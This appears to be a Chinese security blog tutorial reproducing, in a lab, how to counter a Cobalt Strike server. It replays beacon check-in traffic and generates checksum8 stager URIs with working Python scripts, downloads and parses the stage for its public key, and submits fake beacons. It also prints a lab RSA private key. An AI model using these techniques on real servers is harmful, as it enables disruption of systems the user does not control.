更新时间:2022.01.04
微信公众号:乌鸦安全
扫取二维码获取更多信息!
参考文档:
https://forum.butian.net/share/708
1. 反制:Cobalt Strike批量上线
Cobalt Strike
近些年来被称之为多人线上运动神器,在目前攻防大背景下,由Cobalt Strike
展开的红蓝对抗技术不断积累,其中域前置技术、修改特征等手段来躲避各种流量检测工具,而Cobalt Strike
的特征识别也成为网络空间测绘引擎重点关照的点,而且各种威胁情报中,对于Cobalt Strike
的特征标记也最常见。
如果在我们实战攻防中,遇到了红队使用Cobalt Strike
来钓鱼等操作时,我们如何在短时间内扰乱红队,甚至将红队的Cobalt Strike
服务器宕机,又或者是红队使用了域前置技术,短时间内无法溯源的情况下,如何能够扳回一局?
本文参考了大量的文章,一起来学习复现一下如何从一个木马到反制红队Cobalt Strike
服务器。
2. 文章说明
测试Cobalt Strike
版本:4.3
注意:本文时常跨度较长,文章中部分图可能无法完全对接文字,但是方法都是一模一样的,本文针对的都是内网环境测试,下文如未做特殊说明,cs
版本均为4.3
。
3. CS上线流量分析
在Cobalt Strike没有使用域前置的情况下,进行测试。
在攻击的时候,使用最简单的Beacon HTTP
模式:
生成一个exe
文件,然后运行在Windows7
虚拟机中,并准备抓包分析:
监听vnic0
这张卡,可以监控到虚拟机win7
的流量:
双击之后,上线成功,也抓到了流量:
暂停抓包,开始分析:
使用的攻击机ip地址为:10.30.7.240
因为使用的是HTTP
的beacon
,所以在这里使用命令进行过滤:ip.addr == 10.30.7.240 && http
在这里如果在实战中,是没法知道cs服务端的ip地址的,在这里可以关闭虚拟机的浏览器,确保没有http
服务的时候,直接使用http
过滤是一样的:
过滤方法:ip.addr == 10.30.7.240 && http
过滤方法:http
由此可以看到,当前过滤得到的结果是一样的。
追踪第三条数据可以看到一个cookie
信息:
GET /IE9CompatViewList.xml HTTP/1.1
Accept: */*
Cookie: Mkq5CSB3bIJnuXwR+A3nCJjQn2c1vYk6XjIUcDQJQao3hqnTIng4zRWayhxpey74n9uBA8mVcRMdrr2LHPqtfOI9Uuysz5v9ACTTydHE5/x6h/tW2MB+J8jonn4Xtl2aaSlPXrmG+njwN1EOTkucrza6bCPdx0WHFLElFtotcZU=
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP)
Host: 10.30.7.240
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 24 Dec 2021 08:31:51 GMT
Content-Type: application/octet-stream
Content-Length: 0
在这里写一个脚本复现下:
# -*- encoding: utf-8 -*-
# Time : 2021/12/24 16:52:07
# Author: crow
import requests
url = 'http://10.30.7.240:80/IE9CompatViewList.xml'
header = {
'Accept':'*/*',
'Cookie': 'Mkq5CSB3bIJnuXwR+A3nCJjQn2c1vYk6XjIUcDQJQao3hqnTIng4zRWayhxpey74n9uBA8mVcRMdrr2LHPqtfOI9Uuysz5v9ACTTydHE5/x6h/tW2MB+J8jonn4Xtl2aaSlPXrmG+njwN1EOTkucrza6bCPdx0WHFLElFtotcZU=',
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP)',
'Host': '10.30.7.240',
'Connection': 'Keep-Alive',
'Cache-Control': 'no-cache'
}
res = requests.get(url,headers= header)
# print(res.url)
print('-'*20)
print(res.text) # 无返回
print('-'*20)
print(res.headers) # {'Date': 'Fri, 24 Dec 2021 09:04:53 GMT', 'Content-Type': 'application/octet-stream', 'Content-Length': '0'}
# print('-'*20)
# print(res.status_code)
在cs
界面将原来的机器清除,运行之后,cs
上线。
在这里知道那个cookie
是非对称RSA
加密过的,如果想解密,需要一个私钥Private Key
才能解密。
Cookie: Mkq5CSB3bIJnuXwR+A3nCJjQn2c1vYk6XjIUcDQJQao3hqnTIng4zRWayhxpey74n9uBA8mVcRMdrr2LHPqtfOI9Uuysz5v9ACTTydHE5/x6h/tW2MB+J8jonn4Xtl2aaSlPXrmG+njwN1EOTkucrza6bCPdx0WHFLElFtotcZU=
关于私钥获取在下一节。
4. Private Key与Public Key
现在以上帝视角在Cobalt Strike
服务器上进行解密:
java -cp "cobaltstrike.jar" DumpKeys.java
脚本地址:[https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/](https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/)
此时,注意环境要在JDK11
版本下运行。还要把这个java
文件放置在CS服务器的CS文件夹下,与“cobaltstrike.jar
“同一个目录下。(参考:https://forum.butian.net/share/708)
Private Key: MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAMyLIY+FyD/7cPtjZZYgjYVbuRYiF9VkGGrF6yKXl093vLDY9osCXiXOpas96nOApW13O5pet1MD1sMBCEDqTYCWC0qF0+cQDcpc22EIiQk185uMkBx0DuSPsuLo533FCWLtThHE9II7bcOe4jb3AorUv/2SrxAXkXwS6+MrwuQNAgMBAAECgYEArgRATSZ4M1brzDPIHW0cebSLRrVCqZ062LwBS7DEXit0MNClD6a4ClpAv+sxJ4rvMq4Z2z9xoALIF6ctKm0r+RBQJrjHC9IIzKF3+a5+lOKIFdVF2WtSN1L9Njn0of2W/IMlg95U21krq8gZU+7lsISoSGmlWxuiT5xLVSKPWVECQQDl4L5w8XWbUbn+HkXPUpddLVQr7eax9YIPYEZUp9bDAbuwusFp+POug7dMZPFAJ+GkPnfsbsl9Pv+qwr6LXgovAkEA48llmeGPEzD8gZzJWya+rxRxFG+GzQKUq8FVRM2/kjJJ8n9DVbVWQAovDYoOAozdxzYk6IGsN0TvfjRW8KGygwJBAOAmZYx75dGtv06q9idSwYV5zbmIIIsmecvEdM/XWPKNnhaWBELxHavtg65aP2Pvf3ZH82f4H0ChTWuUuXfsGsECQFYLWanLHnStaHS9eQJJnHYeTqjdiBohA2/t0/vtjJP5Ex3bHOBfY3lFX4jJwYkNFSmPNlntwdQO4jjWJJE5Q2kCQFYa/PNGTjYiVikgo5OuB6JQfITp8Ny9v0fKP0LNhmBSjkbKSRz74pA/63eb3NI7+CuB2dJUA9ZuwkkMBwjY5yg=
Public Key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMiyGPhcg/+3D7Y2WWII2FW7kWIhfVZBhqxesil5dPd7yw2PaLAl4lzqWrPepzgKVtdzuaXrdTA9bDAQhA6k2AlgtKhdPnEA3KXNthCIkJNfObjJAcdA7kj7Li6Od9xQli7U4RxPSCO23DnuI29wKK1L/9kq8QF5F8EuvjK8LkDQIDAQAB
在这里就取到了私钥,有了私钥之后可以在线解密:
解密网站:https://the-x.cn/cryptography/Rsa.aspx
(我没有解密成功,注意base64和hex编码等问题),在这放一张解密成功的:
图片引用链接:https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/cs-mu-biao-shang-xian-guo-cheng
在这里是可以看到上线的主机的若干信息的。
当然,也可以使用[https://github.com/Apr4h/CobaltStrikeScan](https://github.com/Apr4h/CobaltStrikeScan)
中的工具直接解析Beacon
的配置和payload
:
使用方法,当木马运行之后,直接在运行木马的机器中,使用命令行中运行该exe
文件:
CobaltStrikeScan.exe -p
在实际情况中,无法取得私钥的,但是在有公钥的情况下或许就可以直接上线机器,详细分析请见下节。
5. beacon解密分析
5.1 上线流程分析
5.1节引用参考:https://www.secpulse.com/archives/165561.html
攻击者利用CS Server生成新的Beacon监听(包括一对非对称公私钥)并生成Stager;
攻击者投递Stager到受控主机;
受控主机在Exploit阶段执行小巧的Stager;
受控主机根据Stager UrI请求特征向Beacon Staging Server下载体积较大更复杂的Stage到本地,Beacon Staging Server会校验UrI的合法性;
Stage解密并解析Beacon配置信息(比如公钥PublicKey、C2 Server信息);
Stage通过公钥PublicKey加密主机的元数据并发送至C2 Server;
C2 Server用私钥解密数据获取主机元数据。
从上述流程中,我们能Get到2个核心点:
- Stager Uri校验算法
- Beacon配置的解密算法
5.2 流程分析
在上述执行上线的操作里面,一共过滤出了4
个包,其中最关键的就是前3
个。
上线的时候先投递一个小巧的Stager Payload,然后通过Stager 去Beacon Staging Server的某个URI下载完整的Stage(也就是体积更大功能更复杂的Payload),并将其注入内存。这个URI作为特征也可以用来识别CS服务器,做网络测绘。
CS中Stager URI校验算法,就是生成4位的随机校验码,将校验码拼接到URI后面即可请求到Stage的代码。
以上两段参考至:https://forum.butian.net/share/708
在这里面提到生成4位的随机校验码,使用的算法是Stager URI
校验算法checksum8
,这个算法的代码部分如下:
图片参考:https://www.cnblogs.com/donot/p/14226788.html
由代码可知,当前的checksum8
算法执行方法:
从a-z、A-Z、0-9
字母中,随机使用选择四个字符,在这四个字符计算ASCII
码的值后求和取模,如果结果等于92
的为32位
的,等于93
为64位
的,代码如下:
# -*- encoding: utf-8 -*-
# Time : 2021/12/28 16:15:11
# copy Author: crow
# 脚本内容参考:https://mp.weixin.qq.com/s/BLM8tM88x9oT4CjSiupE2A
# https://www.freebuf.com/articles/network/258138.html
import requests
import random,time
def generate_checksum(input):
trial = ''
total = 0
while total != input:
total = 0
trial = ''.join(random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
for i in range(4))
# print(trial)
for i in range(4):
# tmp = trial[i:i+1]
# print('total的值', total)
# print('tmp的值:',tmp)
# print('ord的值:',ord(tmp))
# print('除后的值:', ord(tmp) % 256)
# time.sleep(2)
total = (total + ord(trial[i:i+1])) % 256
# print(total)
print('64位的stage:',trial)
return total
# print(total)
for j in range(0,6):
# generate_checksum(92) # 32位
generate_checksum(93) # 64位
在这里运行每次生成的4
个字符都是不唯一的,但是结果都是符合checksum8
算法的,因此在这里只要是端口对应,直接拼接即可下载stage
文件。
因此直接拼接即可,在这里随机拿出来一个进行拼接:
[http://10.30.7.240/rMf8](http://10.30.7.240/rMf8)
当然,在这里可以用任意其他的均可:
如果在这里,访问后的地址显示乱码,那也可以将当前的文件使用Burpsuite
右键保存起来也可以。
或者直接使用迅雷下载到本地也可以:
stager
通过http
的beacon
上线中,先请求第一个uri
地址:
http://10.30.7.240/rMf8
从第一个地址下载:
下载之后,对stage
进行解密。
在这里直接使用[https://github.com/Sentinel-One/CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser)
中的代码进行解密,使用方法:
在下载下来之后,先使用 pip3 install -r requirements.txt
在这里将需要安装的包都安装好:
下载刚刚的rMf8
文件在当前文件夹下执行命令:
python3 parse_beacon_config.py rMf8 --json > 1228.json
执行命令之后,打开1228.json
文件,在这里你可以看到PublicKey
:
当然这个PublicKey
中要删除无效Padding
,删除之后的正确公钥:
打开之后的公约:
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDTePstpW0kXvni/Dxm+FW/MKoOQ2s3qyUb1234567iZgAyeXh/xN23lD+NPsPqVmjm97hgEMrijirQtQ9n12345670C0/WTFhOF4kv380Y1EvJiTHvzkUarynkPBG34XUmBakmQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
正确的公钥:
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDTePstpW0kXvni/Dxm+FW/MKoOQ2s3qyUb1234567iZgAyeXh/xN23lD+NPsPqVmjm97hgEMrijirQtQ9n12345670C0/WTFhOF4kv380Y1EvJiTHvzkUarynkPBG34XUmBakmQIDAQAB==
有了公钥之后,就可以模拟上线操作了:
6. 模拟上线操作
上线的话,其实有很多师傅已经写好了脚本,在这里直接下载运行即可:
[https://github.com/LiAoRJ/CS_fakesubmit](https://github.com/LiAoRJ/CS_fakesubmit)
使用方法:直接在Public_key.txt
中写入你的公钥就行,注意在写的时候,要使用上面的那个==
结尾的。
然后运行脚本:
在这里需要输入的C2 Server
的URL
地址,在前面的那个流量里面可以看到:
至此,发现反制cs
上线成功。
7. 域前置机器上线(失败)
在上面,使用的是未使用域前置的机器,在使用实际的域前置的机器进行测试的时候,发现最后报错,无法上线成功,具体原因后续再进行分析。
微信公众号:乌鸦安全
扫取二维码获取更多信息!